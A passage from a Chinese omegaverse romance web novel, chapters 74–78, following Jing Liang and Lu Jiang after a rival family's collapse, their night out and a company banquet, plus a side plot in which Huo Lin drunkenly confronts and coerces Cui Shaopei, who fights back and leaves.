一双懒慢的眸子瞬间锐利冷冽,“这么隐蔽的行动都能提前预知,看来是背后有人在帮助他。” “他会不会逃出国?” 景凉一脸凝重默了许久,说道:“现在这个风口,逃出国的可能性不大,他很快就会被全网通辑,能这么顺利逃过警察的眼线,还提前洞知消息,他背后的人不简单。” “陈家都已经破产了,还面临好几亿的罚款,谁会帮他?” “有这能力的,目前只有卢家。” “啊?”周洲震惊得说不出话来,“不是,卢家这么做图什么啊?” “你说得对,没有动机,也没什么好处,或许是我想多了,最近这段时间加强公司安保管,要特别注意可疑人员。” 看到卢绛从浴室出来,景凉说道:“先不说了,等警方那边的消息吧。”语落,匆匆挂断了电话。 卢绛爬上床扣过他的十指按在头顶,绵长的吻紧紧缠了上来,不过只是浅尝辄止,“你在和周助打电话?” “怎么知道的?” “你跟他说话的表情和语气是不一样的。” “观察这么细微?” “嗯……也不用怎么观察。” 景凉挣出一只手,轻揉着他的耳垂,声音缓慢低沉:“陈家破产了,这几年私自挪用公款,非法操控股票,涉及金额巨大,各项经济罪,数罪并罚要牢底坐穿,已经批准逮捕,可惜人给跑了,最迟明早新闻就会报道出来。” “好突然!” “不是突然,早在五年前,我刚进公司那会儿,动荡很大,调动离职的很多,陈万川就是在那时安插了他的眼线,财务部主管他的人。” “你是怎么发现的?” “我一开始就没相信过任何人,只要有心观察,一切都有迹可循,财务部的萧遇安在上任的第二个月收到了一笔巨款,虽然走的不是陈万川的帐户,但抽丝剥茧就追溯到了根源。” “你要知道,人性这东西是最靠不住的,他既然能被陈万川收买,只要利益足够,就没有由不被我收买,我威逼利诱就把萧遇安给策反了,他没得选择,如果当时他不答应,他当时就该进监狱。我挖了五年的坑,收集了这么多年的证据,为的就是等这一天。” “所有的犯罪证据累积,金额足够,就能一招毙命,让他永无翻身之日!” 卢绛瞪大着双眼,一瞬不瞬的盯着他,震惊得无法说话。 景凉呼吸微窒,掩住那几分不安,轻声问他:“可怕吗?你别害怕,我不会这样对你,阿绛……” “你好厉害!”卢绛由衷赞叹了声,“是我肯定做不到。” 景凉提着的一颗心稍微放下,不由失笑:“没谈之前,看不出来你是个恋爱脑。” 卢狗护短的把人抱在怀里,在床上兴奋的滚了两圈,“我老婆肯定没错,都是他们又坏又贪心,落得这个下场都是活该的。” 景凉捧着他的脸,亲了他两下,笑着提醒了句:“水该要放满了。” “我抱你过去。”卢绛仿佛有使不完的力气,将人轻松的抗在肩上,急切地走进了浴室。 从浴室到卧室,景凉被翻来覆去的折腾,直到凌晨两点半,景凉实在抗不住了。 “别来了,我感觉我要死了……我不行了,宝贝,我们下次再继续?” “真男人不能说不行!”卢狗丝毫不为所动。 “你想弄死我吗?” “不会的,你要是困了就睡吧,我一个人动就行了。” 景凉瞪着他,随着他的动作,仿佛连五脏六腑都在颤抖,“你这样……我怎么睡?” “那我轻点。” “你个小王八蛋!” 卢绛低笑了声,心疼地将他紧拥入怀中,没真的再继续下去,一把将他抱起去浴室做了清洗。 景凉几乎是昏睡过去的,这段时间因为陈万川的事情,神经总是紧绷着,运动了一晚上,身心都放松下来,睡过去雷打不醒的那种。 卢绛开始放暑假,景凉公司大局已定,两人一觉睡到了第二天下午。 卢绛饿得胃疼,迷迷糊糊的摸过手机,订了一堆外卖,仿佛自己能吃下一头牛。 他起来时,景凉还在睡,动作放轻了些,刚洗漱完外卖陆陆续续地送过来了。 除了五星级饭店的正餐,还有一些不怎么健康的小吃,比如炸鸡汉堡卤味和串串,整张长形餐桌堆得放不下。 景凉醒来时,卢绛已经吃了两个炸鸡腿、一大份米饭,一大份卤味…… 见景凉撑起身,他拿湿纸巾擦了手,二话不说端着一碗温热的粥走到了床前,“把粥喝了吧。” “我先去漱口。” “先喝粥。” 景凉拗不过他,绵软无力的靠在他怀里,把一碗粥吃完了。 吃完粥整个人恢复了点力气,感情之前浑身无力是饿的? “几点了?”景凉后知后觉的问了句。 “下午四点。” 景凉狠抽了口气,怪不得,胡搞了一个晚上,又一天没吃东西,铁打的人都吃不消。 第75章 第75章 养眼是养眼,但就差没把‘我…… 洗漱完出来, 看到一桌子的外卖已经被消灭了一半,景凉震惊了。 “我吃好了。”卢绛心满意足的瘫在沙发上。 “你一下子吃那么多,很难消化,对胃也不好。”景凉慢条斯的吃着留给他的另一半, 能吃下三分之一都算不错了。 “我糙养的。” 景凉苦笑不得, 又有些心疼他,“这次看你, 总算长了点肉。” “我是标准体重。”说着还举起手臂露出结实的肱二头肌, 显摆的小模样又中二又可爱。 “是是是, 知道你一只手臂能抱起我了, 下次别再这样,好丢脸的。” 卢绛摆弄着手机,假装没听到。 景凉无奈,喝了碗汤放下了手里的碗筷。 卢绛下意识抬头看他:“怎么只吃这么点?” “那是和你比起来, 确实只吃了一点。”景凉从餐桌起身, 走到他身边坐下,顺势靠在他的肩膀上, 看了眼他的手机屏幕。 卢绛没躲, 大大方方的让他看着,他转头亲了下景凉的额角, “我在想, 是今晚约霍哥他们一起出来聚一聚, 还是明晚在晚宴上直接介绍好呢?” “你决定, 我没什么意见。” “那我先问问霍哥。” 景凉看他张罗着准备呼朋唤友鲜活的样子, 好像迫不及待的想带他见识自己的私有领地,既有少年人的活力又有成年人的稳重。 他心口涌上的喜爱之情透过深邃的双眸发散,对卢绛越了解就越喜欢。 “在学校, 没有小哥哥小姐姐追你吗?”景凉打趣儿问他。 卢绛一边给霍临发着短信,一边笑着不在意的陈述事实:“没有,他们都觉得我不太好接近。” “没有交一些朋友?” “没有,朋友在精而不在多,既提供不了情绪价值,也提供不了经济价值的朋友,是在浪费生命和时间,那样还不如一个呆着。” 景凉呼吸一窒,某些方面卢绛是天真的,可在很多价值观上既现实又冷酷,是很矛盾的个体。 像一只背离群族的孤狼,因为从未得到过爱,所以他开始享受孤独,不习惯也不再渴望与同类亲近,他唯一会做的就是不断强大自己,给自己圈领地,天真又强大,孤独又美丽。 霍临本想拒绝卢绛的邀约,再次面对景凉,他还没有做好准备。 但是他想了想,还是应下了。 到底什么样的准备才算准备呢?想要战胜恐惧就先要面对恐惧,了解它,发现它的弱点。 所以他决定直面这种恐惧,彻底摆脱上一世的噩梦纠缠。 他们定在了晚上八点市中心一家音乐酒吧见面。 余下的时间,卢绛收拾了一下,开车带着景凉沿着南城的沿海风光带兜风。 “要喝奶茶吗?他们这边的柠檬茶很好喝。” “好啊!” 卢绛将车停在了露天停车区,准备独自下车去买,景凉推开车门跟了上去,“一起吧,想在附近走走。” 这里的风景很美,夏日的海风鼓动着身上的单衣,蓝天白云近在眼前,喧闹的欢笑声在远处回荡,除了最后那缕太阳的紫外线晒人,人世间的闲适与美好在这一刻都完美呈现眼前。 卢绛排队买了两大杯柠檬茶,往人行道走去,傍晚余晖下偶尔有三两只白鹭停歇,流浪的小猫懒倦躺在小溪边的石头上,小孩卷着裤腿在水下摸鱼虾,打闹成一片。 成天在钢铁城市,高楼林立中穿梭,都快忘记要怎么享受眼前的美好时光。 景凉不由生出很多感慨,“你经常来这儿吗?” “不,第一次来。” 景凉瞪着眼:“你在这儿都快生活了一年,不出来玩儿?” “嗯……”卢绛想了很久,“一个人来的话,很无聊吧?别人的快乐是别人的,看到有趣的新奇的事物想分享的时候,一扭头,连个说话的人都没有,但是跟你来意义就不一样了。” “是吗?是什么样的意义?” “我想到一句诗。” “嗯?” “你要来人间一趟,你要看看太阳,和你的心上人一起走在街上。” 一阵酸意上涌,让景凉莫名红了眼眶:“真好,诗很好,此情此景也很好。” 卢绛伸出右手,与他十指紧扣,转过身笑容开朗的看着他,倒着往前走,喊着:“我好开心!我好开心哪!!” “哈哈哈哈……傻子,别喊了,他们都在看你。” 卢绛看着景凉畅笑,心口被幸福与快乐充盈。 这里很好,一切都很好,如果他的一生是一个故事,那么他希望,这个故事在这里就是结局,让作者给他划上一个圆满的句点。 他和王子从此过上了幸福又美好的生活。 * 晚上八点半,景凉与卢绛先到酒吧,点了一些酒水和小吃,驻唱的小姐姐声音空灵甜美,气氛特别好。 霍临是一个人来的,崔少霈这个时间还没有下班,为了还债,已经变成了拼命三郎。 半年前卢绛买下酒庄,全权交给崔少霈打,谁能想到小小的酒庄现在一个月盈利也能有好几百万? 相信再过不久,崔少霈的债务就能全还清了。 “霍哥,这里。” 景凉顺着卢绛的视线转头看去,来人有着alpha强壮高大的体魄,那张俊脸棱角分明,浓眉唇薄,鼻梁高挺,双眼深邃多情。 就是那一身由骨子里散发的懒慢与风流气质,叫人很难相信他是一个良人。 养眼是养眼,但就差没把‘我是渣男’刻在脑门上了。 霍临独自坐在他们俩对面,为了更好融入酒吧氛围,欣赏音乐,卢绛订的是一个靠近吧台的沙发坐。 “你好,我是霍临。”说出这句话时,霍临几乎是摒着呼吸的,眼神有些飘乎,不敢直视他。 景凉不动声色的笑着与他握手,“总是听阿绛提起你,远闻不如一见,霍公子果真好风彩。” “哈哈……过奖。”霍临尴尬一笑,见景凉抬手,他下意识就要伸手去倒水,与卢绛的手碰到了一起,两人视线怪异。 霍临差点想把手给剁了,这该死的下意识! 前一世为了讨好这人,他真是耗尽心思,就为了从他那里多搞点钱,看了十年的眼色,一时半会儿改不好这毛病。 卢绛拿过扎壶,先给霍临倒了水,又给景凉倒上。 气氛谈不上特别好,但是景凉很圆滑,因为又是卢绛的朋友,话语间给足了面子。 霍临从来不知道,他想要讨好接近一个人时,言行举止能让人这般身心愉悦。 他所认识的景凉根本不是这样。 不,景凉从未接受过他,所以从一开始就没打算让他认识真正的自己。 霍临不由莞尔一笑,或许是眼前的景凉没有一丝威胁,说话让人愉悦,又或者太过陌生,像在看一个新的朋友,霍临也从过去的阴影中脱离,彻底释然。 前世,他们十年婚姻,却从未相识。 晚上九点半,霍临提前离开了,这个时间他要去接崔少霈下班。 目送他离开,卢绛问景凉,“你觉得霍哥人怎么样?” “嗯……第一眼的印象不怎么好,但是交谈下来他的认知很超前,人看起来也比外表更踏实沉稳,在这个年纪不靠家里,就能有这个成就,算是少有的青年才俊,年轻有为了。” 其实霍临是个什么样的人景凉并不在意,因为他是卢绛的朋友,言语间或多或少多了两分美誉。 卢绛反倒有点吃味,字里行间掩不住的酸:“第一次听你对一个人评价这么高。” 景凉不由失笑:“因为那是你的朋友啊,傻小子!” “嗯。”听到这个回答,卢绛才释怀,朝他靠了过去,亲了亲他柔软的唇,满满的占有欲,也绝了准备要过来搭讪的人念想。 * 第二天的庆功宴引起了业内高度关注,不少媒体人擦拳磨掌早早做好准备想要过去挖个热点新闻。 晚宴定的地点在云顶大厦顶层,整整两千多坪的场地,能容纳很多人,是南城这几年为数不多的大型宴会。 下午两点,预约的造型团队上门过来做造型。 两人挑了同款的西装,低调奢华的配饰恰到好处,单是站一块儿,就让所有人想入非非,嗑起了糖。 “两位真是好般配啊!连偶像剧都演不出来的CP感!” “我做造型这么多年,第一次看到这么养眼的情侣,可不可以和两位合照一张?” …… 景凉心情不错,与他们合影了几张,看了眼时间差不多了,便赶去了宴会地点。 去之前卢绛也没想到会有那么多记者媒体人。 在车上时,接到霍临的电话,让他有个准备,卢绛还在想,需要什么准备? 直到牵着景凉下车,闪光灯刺得他睁不开眼,不知情的还以为是什么明星走红毯现场。 现场的保镖护着两人走进电梯,看着场外闹哄哄的记者,卢绛暗舒了口气。 景凉看他一副迷茫无措的样子,又搞笑又可爱,不由戳了下他的脸。 “啊?”卢绛回过神来看向他。 “怎么这副样子?” “我不知道会有这么大的阵仗,吓了一跳。” 说实话,景凉来之前也不知道是这种场面,年轻人创业谈了个几亿的单子,弄个庆功宴已经很了不起了。 他拿着手机查了一查,震惊在当场:“遨游天下工作室,是你们公司旗下的?” “啊,是。”卢绛一点也没察觉这件事对于别人来说有多震撼,语气像谈着今天天气如何一般自然:“最近不是新上架了一款荒野求生的竞技类射击游戏吗?还挺成功的,为了犒劳这些时日的加班加点,公司准备了这个庆功宴。” 什么叫闷声干大事,景凉觉得这就是典型的闷声干大事! 因为跨行业之直也没太关注科技智能AI和游戏类的发展,景凉突然意识到了一件重要的事情。 “那你其实早就不需要靠卢家过活了?” 第76章 第76章 因为这个心结,他不能给他永…… “应该……是吧?”说起来, 卢绛来到这个世界还从来没有考虑过钱的问题,虽说之前卢家没给他什么零用钱,但是他没有什么物质需求。 最后一次要钱,卢佑铭一下给了他十个亿, 这一年多所有的成就确实没有依赖过卢家。 而且他现在的钱交给了一家风投公司打, 具体多少钱他真的没有特别在意,只知道每天都有不菲的进账, 应该是积攒了很多钱。 景凉看他这云淡风轻的表情, 便知道他并非是有意要瞒着, 而是他觉得没必要到处说。 “还有哪些惊喜是我需要去发现的?” 卢绛暗吸了口气, “如果你想知道什么,可以直接问我,反正我不会骗你。” “不,这样多没意思, 我要自己慢慢挖掘。”景凉冲他明媚笑了笑, 如同冰山上的雪莲花,只为他路过而绽放幽香。 只要他一笑, 卢绛这颗心会跟着用力跳动, 意乱情迷,产生想要占有他一切的想法。 他紧扣着景凉的手, 侧身低头用鼻尖拱了下他的浓密柔软的头发。 “怎么了?”像小狗一样的小动作, 让景凉唇角渐深。 “想亲亲你。” “不行, 电梯要到了。” “我知道。” 两人视线在空气中交织缠绵, 粘稠得化不开。 ‘叮’——的一声电梯门打开。 卢绛站直了身子, 表情恢复一惯冷酷,由内而外的强大气场叫人望而生畏。 他牵着景凉走进宴会的一瞬,所有人朝他们投向了注目礼。 不明所以的人群只是远远站着, 私下八卦。 “那个不是首富家的儿子吗?” “你没看错?” “那张脸哪能看错啊?又酷又帅!” “他身边那个是不是景凉?国内唯一能坐上董事长之位的omega。” “哇,omega也可以这么帅?跟我见过的都不一样欸!” “这omega也太强势了吧?居然能和alpha争夺资源和权利!感觉很可怕。” “也就首富家的儿子才能让这种omega能收敛点。” “当然了,都是为了利益,别看之前网上传得多么深情,其实是剧本来着。” “他们怎么会来?” “是投资了遨游工作室吧?我之前在公司里见过他一次,跟咱们组长关系很好来着。” “这真的是E级alpha的气场吗?我要喘不过气了。“ …… 他们太显眼了,霍临对几个重要的客户说了声‘失陪’后,朝他们迎了过去。 “来晚了哦。” 卢绛瞥了眼手腕上换的机械手机,“刚刚好。” 霍临撇嘴:“你能不能有点东道主的自觉?” “东道主不是你吗?”卢绛反问。 霍临一阵窒息,瞪着眼,“这么信任我,你也不怕我把你卖了!” “没关系啊,就算你真把我卖了,我还有老婆可以养我。” 这一嘴狗粮给他喂的……霍临气得想笑,叫来服务生塞了杯酒给他,“敬小老板早日吃上软饭。” “谢谢。”卢绛一干而尽。 霍临打趣儿对景凉说道:“景总,你家alpha说想吃软饭,这种没出息的,还是别要了。” 景凉失笑,“都随他,只要他开心就好。” 霍临跟见鬼似的,感觉自己自讨没趣了。 景凉,这么挑剔、这么有事业心的一个人,能够容忍一个alpha依附着他吃软饭,还一副甘之如饴的样子,只能说是真爱了。 换作任何一个人,都得被他嫌弃得跟狗一样。 “狗粮我吃饱了,你们自便。”霍临挥挥手,跑了。 卢绛拿了一杯果汁给他,景凉将果汁放了回去,转拿香槟,被卢绛拦下,又把果汁塞给了他。 景凉眉头微蹙,“我不喝果汁。” “还是喝果汁吧,”卢绛凑到他耳边小声提醒了句:“你发情期快到了,别喝酒。” “你怎么知道?” 卢绛一脸所当然,“我有记你的周期,而且,你身上的信息素有变化。” 景凉耳尖绯红,“你真是……我之前没那么多讲究。” 卢绛一脸严肃:“不行,你本来之前周期不稳定,好不容易调好了,别这么不上心。” 景凉不甘愿的喝了口酸甜的果汁,无奈,“我到底是谈了个爹,还是谈了个男朋友?” 小小年纪,比未来岳母还能操心。 “你不想我管你?”卢绛一阵不安,小声嘟哝着:“我也没有要管你的意思,我只是想关心你一点。” “好了别说了,我喝果汁。”景凉喝了一大口果汁,将身体的燥热压下。 卢绛还是第一次看到他这样有些孩子气的一面,不由笑出声来。 “你也是,少喝一点酒,别什么人敬酒你都喝。” “嗯,知道了。” 虽然这次庆功宴来了不少界内的相关人士,许多以此结交寻找合作伙伴,不过毕竟是内部的庆功宴,没那么严肃,大家吃吃喝喝,跳舞玩游戏,都市青年的松弛感就藏不住了。 前半场看似正经商宴,后半场领导致辞的庆功宴,后半场镁光灯一开电音一放,当场蹦迪。 景凉看着这一群小年轻充满活力无所顾忌的样子,身心跟着放松下来,慵懒的靠在沙发上,看着他们玩闹。 他以前也不是这么老沉严肃的人,主要是一年三百六十五天,有三百六十天在上班,休息时间很少,一旦放松下来,就只想多休息一下。 卢绛也不喜闹腾,正倚着角落的墙边,与霍临有一搭没一搭地正说着什么。 “包圆到天亮,晚点再回去。”霍临从路过的服务生那里又拿了两杯香槟。 卢绛今天心情不错,霍临递给他酒都接下喝了。 “抽烟吗?”霍临咬了一支烟,将烟盒递了过去。 卢绛摆手,示意不抽。 霍临径自点了一根,狠抽了口,慵懒地吐出一口烟雾,不经意看了眼景凉的方向,正巧与景凉的视线对上,彼此点头至意,很快错开。 “景凉那个人,你不会觉得很无趣吗?” “不会啊!怎么这么问?” “他眼里除了工作,金钱、权利,好像再也容不下别的东西,性格还很沉闷。” “这样不好吗?有自己的人生和奋斗的目标,各自忙碌又互相照应,没有矛盾不会吵架。” “做为omega太冷硬了。” “我还觉得崔少霈太粗暴了,他是真的会打你,可是凉哥不会打我。” “咳咳咳……不是……”霍临被烟呛了个半死。 卢绛拍了拍他的后背:“你还好吧?” “你别管我,我跟崔少霈情况特殊,都不是那关系!”霍临没好气的回了句,无语撇嘴,“你都跟他谈婚论嫁了,难道你对他的要求仅仅只是不会打你?你这……不会打你是什么好炫耀的事吗?” “当然不是能炫耀的事,我只是拿你跟我的境遇打个比方。” “弟弟,你这样打比方让人有点不爽。” “抱歉,”卢绛尴尬挠了下额头,“那换个话题吧。” 霍临心里莫名泛起一阵酸涩,“你说得对……他打得我真tm疼!”仰头将杯里的酒一口吞下。 “酒不喝?”霍临看似心情很差。 “我今晚喝了很多,有点喝不下了。” “那给我。”霍临从他手里夺过酒杯,又是一口干了。 “霍哥,你这么喝容易醉。” “心里烦。” 卢绛没再劝他,直到霍临喝醉,他上前和景凉说了声,叫了代驾将霍临送下楼。 直到亲自将霍临塞进车里,替司机调出导航才回了宴会大厅。 才走开这么一会儿,景凉身边围了十几个可爱的omega,满眼都是崇拜。 卢绛莫名心里泛酸,但克制得比较好,上前牵过景凉的手:“我们也回家吧。” 景凉看着他柔柔一笑,回头对这群omega温和的道了别,跟着卢绛离开了宴会。 电梯里,卢绛没绷住,“他们跟你都说了什么?我也想知道。” “都是omega,问了一些工作上的事,还有讨教人生的,其实每个人的性格不同,境遇也不一样,我又能给出什么建议?” “性格决定运命?” “性格不是绝对因素,但会是主导因素。性格不同,做出的人生选择会不一样。” “哦……”就像是两个卢绛,在同一个位置,同样的命运轨道上,做出的选择不一样,人生所呈现出来的状态便会完全不同。 “老婆,”走出电梯没多远,卢绛突然拉住了他的手,“我……你不觉得,十八岁之前的卢绛和现在的卢绛完完全全是两个人吗?” 又来? 景凉无奈看向他,“我知道。” “你知道什么?” “你的事情,我有悄悄去了解。”景凉看着他的眼神满是心疼,“你之前做的那些混帐事,也只是因为想要引起父母的关注,但是好在你及时醒悟了过来,你不该为别人的错误惩罚自己,你现在已经很好了,就不要再回头看。” “我,我……”卢绛有些急迫想解释,又显得有些无力:“他以前确实是为了引起父母的注意才会堕落,但我不是他!我要怎么说你才会相信?万一有一天……” “什么?” “万一有一天我又变回以前的卢绛,你该怎么办?” “他们都是你啊!” 卢绛的心脏被刺痛了下,只能选择沉默。 因为这个心结,他不能给他永久标记。 “你答应我一件事。”卢绛紧抓着他的手不放。 景凉无奈:“好吧,你说。” “如果我变了,你一定不要留恋,也不要挽留,就痛痛快快的走,好好去过你的人生。” 景凉脸上的笑容渐渐消失,冷硬地甩开了他的手,隐忍着愤怒与涌上来的悲伤,“这是第二次,你跟我说这种话,你每说一次我就记一次,是不是alpha都这样?得到了玩腻了,背不起一辈子的承诺和责任,需要找这么烂的借口和由一次次试探?” “我不是!” “闭嘴吧!这个话题就到此为止,要么你去看心医生,要么就自己忍着,不要再提第三次,我不想跟你吵架。” 第77章 第77章 如果你真想要孩子,我们可以…… 卢绛呆站在原地, 一脸委屈与不知所措。 景凉一颗心仿佛都缩成了一团,疼得厉害,他不敢多看,垂眸从他口袋里摸出车钥匙, 轻轻说了句:“回家吧。” 卢绛耷拉着脑袋沉默着跟他往停车场走去。 一路到家彼此都没有说话, 洗完澡背对着背便各自睡了。 卢绛心口很沉,仿佛坠着千斤巨石, 不断往深渊拉扯, 他睁着眼茫然地看着从露天阳台泄下的月光, 一阵酸楚上涌。 有时候他也分不清楚, 现在的世界是不是真实的?或许只是他幻想出来的一场美梦,一场可以让他沉溺在其中,能活下去的梦。 可再真实的梦,也会有醒过来的那一天。 突然床的另一侧动了动, 景凉翻过身从背后抱住了他, 卢绛的心猛的紧了下,他抱上来的一瞬很神奇, 所有委屈与恐惧瞬间就消息了, 像是飘泊在无际海洋中的小船,被护在了安全的港湾, 不用再担心狂风暴雨的侵袭。 “我之前说话是不是太重了?我知道你不是那个意思, 可我还是没控制好自己, 阿绛, 我太爱你了, 听不了一点你想要离开我的话,我会疯掉的。” 景凉的声音在发抖,似在强忍着哽咽。 卢绛想要转过身拥抱他, 却被景凉制止:“先别转过来……” “嗯。”他是不是哭了?想到他哭了,卢绛比自己哭还难受。 “我一直很要强,总觉得自己很了不起,只要是我想要的,我都要得到。”景凉如吞刀片般咽下嘴里的苦涩,“一开始对你也是,我喜欢你,所以要得到你。” “要让你永远呆在我身边,再也离开我,没有人可以从我身边把你抢走,你也只能一辈子看着我、爱我,而我也愿意把最好的一切都给你。” “在爱你之前,我不知道自己会陷得这么深,我会这么爱你……” “爱情让我变得软弱,所以我害怕你会离开我,有一天会不爱我了,我所有装模作样的成熟与稳重都变得不堪一击,甚至我觉得自己跟那些陷入漩涡失去自我的人一样可笑。” “可即便这样,我依旧改不了,也戒不掉,芸芸众生里,原来我并没有什么了不起,我跟他们一样,会卑微、难堪、羞耻……不知所措。” 卢绛转过身,借着窗台朦胧的月光看着他,没有开灯,珍惜地亲吻他脸上的泪痕,紧紧拥他入怀。 “他们都不要我,只有你把我当宝,在遇见你之前,我一直一个人呆在深渊里,拼命仰着头往上看,可我怎么努力都透不过层层黑暗看到一丝光亮。” “直到你往深渊里照进了一缕光,还朝我伸出了手,你知道雏鸟情节吗?我就是那只雏鸟,离开你我没有办法再独立生活,你不仅是我生命中最爱的人,也是最特别最重要的人,没有任何一个人,会比你更重要。这世上也不会有任何东西,比你更宝贵。” “凉哥,你这样爱着我,我很心疼,可是也很庆幸,太好了,你会爱上我,真的,太好了……原来不是我太差劲了,才没有人要我,连你都会喜欢我,那我就是最好的。” 卢绛哽咽着说完,眼泪扑簌着往下掉。 “嗯,”景凉温柔地笑着,轻揉着他的头发,肯定道:“别怀疑,你就是最好的,你能来到我的生命里,真的太好了。” “我说那些话,不是想着要和你分手不想负责任,我是真的……”卢绛不敢再往下说,他害怕说下去会让景凉不安。 “我陪你去看心医生,好吗?” 卢绛无奈叹了口气,“好吧,我去。”如果这样能使他安心一点,他不会拒绝的。 也说不定,真的是他有病,所有的一切,都是因为他幻想出了第二人格。 他倒希望是自己有病,那样他心里才有一个底。 * 霍临很久没这样醉过,平时他酒量很好,司机会他送回家后,他就失去了意识。 直到听到一阵开门声,他抬起头,屋内的大灯同时亮起,刺得他睁不开眼,他抬手挡了挡,从指缝隐约看到那道熟悉的身影,心里无尽的空虚瞬间被填满。 “你回来了。” 好大的酒味! 崔少霈淡淡看了他一眼,轻应了声,越过他回了卧室。 霍临嚅了嚅唇,本想说些什么,对方只留给他一个背影。 他掩不住心底的失落,起身追了上去。 “崔少霈!” 他推门的动作有些粗鲁,当看到他正在收拾行李箱,心脏被狠狠刺痛了下。 “你要走?” 崔少霈眼也没抬,冷静自持道:“这两天我就会搬走,很意外吗?之前我跟你说过的,找好房子,我就会搬出去。” 霍临心中的酸涩一下子崩涌而出,“你以前对我不是这样,那天我去接你,我看到你对别人笑,可是这一年来,你从来没对我笑过,你一定要这样对我吗?” 崔少霈对他的眼泪无动于衷,快速把行李箱收回放到了一旁角落,又拿出了睡衣准备洗澡。 “别堵在门口,让一让。” “我不让!” “已经很晚了,我很累,想洗澡休息。” “我不!” 崔少霈无奈看着他,“你喝醉了,别在我面前耍酒疯。” “我很清醒,是你一直在对我冷暴力!” 崔少霈翻了一个白眼,“醉鬼!” “崔少霈,你不爱我了吗?” “你发什么疯?我从来都没有爱过你!”崔少霈眼中迸发出的恨意几乎要将霍临灼伤,“我到底给了你什么错觉,让你觉得我会爱你?” 霍临心脏紧缩,摒着呼吸僵在原地,久久,“是我自做多情了?” “对!”崔少霈冷嗤了声:“我从来没有爱过你,没有哪个蠢货会把包养关系当情,玩完了就结束了,至于你收留我照顾我的日子,就当是在还债吧!我不欠你,你也不再欠我什么了!” 霍临接受不了这个事实,他被彻底的刺激到了,说不清道不明的自尊心以及开始失控的恐慌将他的智占据。 他用力扣过崔少霈的下巴让他直视自己,一字一句艰涩地从牙关挤出:“我不信,你看着我的眼睛再说一次,你说你不爱我,从来没有爱过我!” “放开!” 崔少霈用力挣扎,霍临变本加利的将他抵到了墙上,让他无法逃离,双眼绯红恨声问他,“你说是包养关系,不是早就银货两讫了吗?我哪还欠你什么?” “你别太过份!”崔少霈一副被欺辱的隐忍与委屈,让霍临心烦意乱。 “过份的是你崔少霈!”霍临不打算就这样放过他,说什么两不相欠,“你当我是什么?做好事不求回报的大善人?包养我的时候不是挺大方玩得挺开的吗?现在把我的恩惠当回报了?想走也不是不可以,你陪我睡够一年,就算两清了。” “你滚开!霍临,你非得让我恨你是吗?”崔少霈激烈地挣扎着,泪水夺眶而出。 霍临嘲讽笑了声:“呵,我知道,是因为那个孩子是吗?你恨我怪我不要他,强迫你把他拿掉,你心里一直在怨恨我。” 这些话深深刺痛了崔少霈的心,所有伪装的坚强与铠甲卸下,他几乎歇斯底里,“对!从你逼我拿掉那个孩子开始,我们根本不可能了,这辈子都不可能!” “我真看不出来,你那么喜欢孩子,”霍临双眼血得几欲滴血,仅用力气就将他死死压制,“你自己的身体你自己真不清楚什么情况?打了那么多激素药还拼命生一个残次品,你嫌你自己过得不够惨是吗?你该谢谢我帮你做下这个决定!” “你胡说……”崔少霈声音颤抖,泪如雨下,“医生说他是健康的,他很健康!那也是你的孩子,你不想做爸爸我也没有要逼你负责,可是那一天,你让我真正见识到了你有多无情!” “如果你真想要孩子,我们可以再要一个,我们现在就要,你别再难过了。”说着,霍临低头去吻他的唇。 崔少霈发狠的咬了他一口,霍临吃痛退开,崔少霈拿头狠狠顶在了他下巴处,又利落地给了他一记勾拳。 霍临被揍得吐了口血,一时没反应过来,崔少霈抓起他的领子,在同一个伤处再补了一拳,“霍临,你真tm是个畜生!你根本不懂!” 本来以为这家伙改变了,只要好好表现,或许时间一久,他会淡忘那些伤痛,未来还有重新开始的机会。 可他骨子里的无情与自私是藏不住的,没有同心也不会解他心里的痛。 他可能永远不会明白,失去的第一个孩子不是再生一个就能盖过去,那是替代不了的! 霍临眸光定定的看着他,在地板上摊开了让他揍。 崔少霈举起的拳头紧握,却最终只是无力的放下,“我现在就走,我们之间就到此为止吧,后会无期。” 他起身绝决的拉过行李箱,头也不回的打开门大步走了出去。 霍临抬起手臂,盖住眼底的泪光,冷静了会儿,翻起身追了出去。 崔少霈拖着行李,孤单一个人走在凌晨的马路上,看似走得很潇洒,嘴里说着绝情的话,无尽悲伤与空虚感像这无垠的黑暗,将他吞噬。 他甚至在出门没多久就开始反思自己刚才是不是下手太重了点? “崔少霈,你已经贱到没救了,早知道一刀捅死那家伙,一了百了。” 身后一道强光照了过来,喇叭的刺耳声让他眉头紧锁。 大半夜的,谁这么没素质? 他无语地回头看去,却见霍临的车缓缓驶到了他的身边停下。 霍临淡定的下车从他手中接过行李,放进后备箱,这一连畅动作行云流水。 “你在干什么?” 霍临的脸皮厚得出奇,仿佛之前无事发生,“先送你去酒店,你毕竟是omega,半夜凌晨出门不太安全。” 崔少霈紧了紧拳头:“高等alpha不会半夜在街上闲逛调戏omega的,一般的alpha我能一拳解决一个,用不着你操这个心。” “那你之前被那些低级的家伙欺负?” “那是……”崔少霈心气不顺:“我tm一个月工资还押在那里,我能怎么办?!” 第78章 第78章 你……你买了座小岛送我?…… 霍临瞄了他一眼, 又是心疼又是想笑,曾经国内十大红酒商之一的崔总,也会沦落到需要靠几千块过活的一天。 见霍临要上驾驶座,崔少霈一个箭步上前, 提着他的领子往后拽:“你去副驾驶, 喝酒了开什么车?!” “哦……好。”此时霍临显得无比乖顺听话,安静的靠在副驾驶闭目养神。 因为实在太晚了, 崔少霈选了最近的一家过得去的酒店, 在前台要房卡, 拉着行李走进电梯, 关上门的那一瞬,霍临跟着挤了进来。 “你跟进来做什么?” “我现在头还晕着,不能开车回去,是你自己说的, 喝了酒开什么车?” “狗东西!” 崔少霈被他闹了个心律不齐, 整个烦得要死,肉眼可见的暴躁想揍人。 进了房间, 崔少霈尽量当他是个透明的, 该洗洗该睡睡。 关上灯,世界陷入一片黑暗, 看到不彼此的脸反倒轻松了很多。 “崔少霈, 你睡没睡?” “睡了, 别吵吵。” 霍临笑了声:“之前确实是我自做多情了。” “你现在知道也不迟。” “坦白说, 我真的有点喜欢你, 不然也不会收留你照顾你,对吧?” “你到底想说什么?想说服我给你陪睡一年?” “不,你不愿意我自然不会强人所难的, 我的意思是……咱们做不成情人,做朋友也挺好,要是你以后有什么难处尽管来找我,力所能及之事我一定不会推脱。” “你会这么好心?” “我知道你对我误会很深,不过你放心,从今以后我会用行动证明我真的对你绝无恶意,想和你做朋友也是真的。” “……” “怎么不说话?” “我没有和前火包友做朋友的习惯,你可以滚了。” 